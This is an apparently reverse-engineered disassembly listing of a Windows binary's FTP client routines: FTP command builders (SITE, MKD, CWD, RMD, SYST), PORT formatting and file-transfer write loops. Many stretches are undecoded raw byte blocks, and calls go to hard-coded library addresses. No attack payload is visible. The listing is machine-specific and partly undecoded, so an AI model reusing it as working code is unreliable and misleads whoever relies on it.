		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 4684D75h, 90004474h, 808419E8h, 4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473F468h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473EC68h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0D851E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 73EC682Ch, 0E8900044h, 77808226h,	5704C483h
		dd 9627E8h, 0E8905600h,	777FD63Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 0E8000001h,	777F0508h, 50008B90h, 80843DE8h
		dd 0C4839077h, 44C68304h, 0C5E85650h, 9077818Ch, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 7F0473E8h, 108B9077h, 5008438Bh,	14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0AC685752h,	90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FCEBAE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447670
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B0
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
